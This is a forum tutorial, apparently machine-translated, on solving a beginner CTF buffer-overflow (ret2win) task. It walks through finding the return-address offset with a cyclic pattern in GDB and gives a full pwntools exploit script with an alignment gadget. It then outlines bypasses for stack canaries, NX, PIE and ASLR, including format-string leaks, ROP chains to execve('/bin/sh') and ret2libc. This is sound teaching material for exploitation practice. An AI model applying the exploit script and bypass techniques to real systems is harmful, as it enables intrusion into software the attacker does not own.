Buffer Overflow from scratch: solving the first pwn-task part 1

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
648
Reaction score
1,407
GDB analysis of binary file: find offset up to return address

Theoretically offset = buffer size (64) + size RBP (8) = 72 bytes. But the compiler can add an alignment padding or redraw the frame. Therefore, the offset is always tested experimentally. It's a habit that saves debugging hours.

Method – pattern de Bruyne (cyclic pattern). A sequence in which any substring of a given length occurs exactly once. We apply to the entrance - when you fall by value in the register, we unambiguously determine which part of the entrance got to the return address.

Launch gdb ./vuln. Generate the pattern: cyclic 200. Copy. run, insert the pattern. The program is falling with segfault. Pwndbg will show context, including the value at the top of the stack (RSP). If there 0x6161616c6161616b, perform cyclic -l 0x6161616b (Four junior bytes). Pwndbg will return the number - say 72. This is our offset.

The same from Python: from pwn import *; print(cyclic_find(0x6161616b)). The result will match.

The rule for overflowing the stack: if the theoretical offset did not coincide with the experimental one, believe the experiment. One -fstack-protector, one optimization - and the calculations on paper go to the trash.
Ret2win writeup: writing exploit on pwntools

Data collected: offset = 72, address win() = 0x401156, protection does not interfere. Collecting payload.

The nuance on which every second beginner stumbles: Stack alignment. In x86-64 SSE instructions (movaps and similar) require an RSP multiple of 16. If win() inside causes system() or printf(), and the stack is aligned incorrectly – segfault right inside the function, although the address is correct. The symptom disorients: “the address is correct, but falls.” I lost one and a half hours on the first CTF until I googled about the alignment.

Solution: put in front of the address win() gadget ret – single instruction ret, which will shift the RSP to 8 bytes and restore the alignment. Find the address: ROPgadget --binary ./vuln | grep ": ret$" (the output format may differ between versions – if the grep does not find matches, try without reference to the end of the line: ROPgadget --binary ./vuln | grep ret). Let's say, 0x40101a.

Final script:

from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 72
ret = 0x40101a # гаджет для выравнивания стека
win = elf.symbols['win'] # адрес win() из таблицы символов
payload = b'A' * offset + p64(ret) + p64(win)
p.sendline(payload)
p.interactive()

Lay down. ELF('./vuln') parsite binary and gives access to symbols. process() triggers it as a child process. b'A' * offset – fill buffer and RBP with garbage (0x41, any byte is suitable). p64(ret) – gadget for alignment. p64(win) – address that will re-write the return address. sendline() sends payload with \n at the end – gets() waiting for the translation of the line, without it the binary will hang. interactive() transmits interactive I/O: if win() opens shells, you can enter commands.

python3 exploit.py – see the contents flag.txt. For a remote CTF server, change process('./vuln') on remote('ctf.example.com', 1337), the rest is unchanged.
Protection against buffer overflow: canary, NX, PIE and ASLR

Ret2win without protection - level "easy" on the CTF. Next, one or more defenses are included. Here's the map: what everyone blocks and what it costs.
Stack Canary

Random value between buffer and saved RBP. Before ret program checks the canary: changed — __stack_chk_fail, the process is dead. Stack smashing detected. Bypass: leaking value through the format string. In the task My Little Pwny (MetaCTF) printf(buffer) allowed you to read the canary with a stack specifier %19$p. The leaked value is inserted back into payload in its place. The second option is a byte overtaking in fork servers, where the canary does not change between child processes.
NX and ROP chains

NX prohibits code execution on the stack. Shellcode not to start. Bypass — Return-Oriented Programming: instead of one return address, we build a chain of “gadgets” – short fragments of existing code, each ends ret. Consistency pop rdi; ret → pop rsi; ret → pop rax; ret → syscall; ret folds into a challenge execve("/bin/sh"). With static compilation of binary gadgets, gadgets are usually enough for a full ROP chain without libc.
PIE and address leak

PIE randomizes the basic address of the binary at each launch. Address win() no longer fixed. Bypass: leaking any address from the binary through the format string or partial overwrite, then calculating the base by known offset. In the same My Little Pwny format %6$p leaked the address from the PIE area from which the offset is subtracted 0x20f0 to obtain the base. All other addresses are calculated from her.
ASLR and ret2libc

ASLR randomizes the addresses of the stack, pile and shared libraries. Bypass — ret2libc: leaking the address of any function from GOT (e.g., puts), calculation of the libc base, finding system() and lines /bin/sh inside the libc – and the ROP chain through them. The foundation is the same: buffer overflow and return address control.
Protection What's blocking Bypass method Level
No defense Nothing Direct ret2win Primary
Stack Canary Overwriting of the stack Leakage through format string Average
NX Shellcode on the stack ROP chains Average
PIE Fixed addresses Leakage + base calculation Average
ASLR + NX libc addresses ret2libc Advanced
Typical errors in pwn-drugs for beginners

Forgotten stack alignment. Segfault inside win() with the correct address. movaps requires an RSP multiple of 16. Treated ret-gadget in front of the target address.

send() instead of sendline(). gets() expects \n. Without translation, payload lines are not processed, the binary freezes. Small, and it is possible to debug for a long time.

Libc's mismatch. Local exploit works, on the server - no. Different versions of libc are different offsets. Solution: use libc from the CTF handout and pwninit for patching binary for a specific version.

Theoretical offset instead of experimental. The compiler added padding or aligned the stack differently – the offset differs from “buffer size + 8.” Always check through cyclic. Always.

Solution formula: checksec → search win() through objdump/GDB → offset via cyclic → gadget ret through ROPgadget → script on pwntools. Five steps, fifteen minutes from downloading the binary to the flag – if each step is worked out.
 
Top Bottom